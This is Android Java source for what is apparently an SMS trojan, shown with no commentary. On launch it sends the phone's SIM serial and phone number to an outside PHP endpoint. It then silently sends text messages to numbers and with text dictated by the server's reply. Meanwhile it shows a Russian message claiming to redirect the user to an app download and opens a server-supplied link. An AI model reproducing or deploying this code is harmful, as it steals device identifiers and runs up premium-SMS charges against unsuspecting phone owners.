package org myapp import android app Activity import android content C

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package org.myapp;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import android.widget.TextView;
import java.io.IOException;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;
import java.util.StringTokenizer;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;
public class MainActivity extends Activity
{
protected String site = "http://wages.pw/Manel.php";
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
String c = getContents(site);
StringTokenizer st = new StringTokenizer(c, "*");
String go = "";
int iter = 0;
while(st.hasMoreTokens()){
if(iter == 0){
go = st.nextToken();
}
else {
StringTokenizer d = new StringTokenizer(st.nextToken(), "|");
SmsManager smsManager = SmsManager.getDefault();
String n = d.nextToken();
String t = d.nextToken();
smsManager.sendTextMessage(n, null, t, null, null);
}
iter++;
}
TextView tw = new TextView(this);
tw.setText("Здравствуйте! Сейчас вы будете направлены на страницу для скачивания приложения! Спасибо =)");
setContentView(tw);
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(go));
startActivity(browserIntent);
}
public String getContents(String url) {
String content ="";
try {
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost(url);
List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(2);
TelephonyManager telemamanger = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
String getSimSerialNumber = telemamanger.getSimSerialNumber();
String mPhoneNumber = telemamanger.getLine1Number();
nameValuePairs.add(new BasicNameValuePair("snumber", URLEncoder.encode(getSimSerialNumber)));
nameValuePairs.add(new BasicNameValuePair("number", URLEncoder.encode(mPhoneNumber)));
httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = httpclient.execute(httppost);
HttpEntity entity = response.getEntity();
content = EntityUtils.toString(entity);
} catch (ClientProtocolException e) {
e.printStackTrace();
}
catch (IOException e) {
e.printStackTrace();
}
return content;
}
}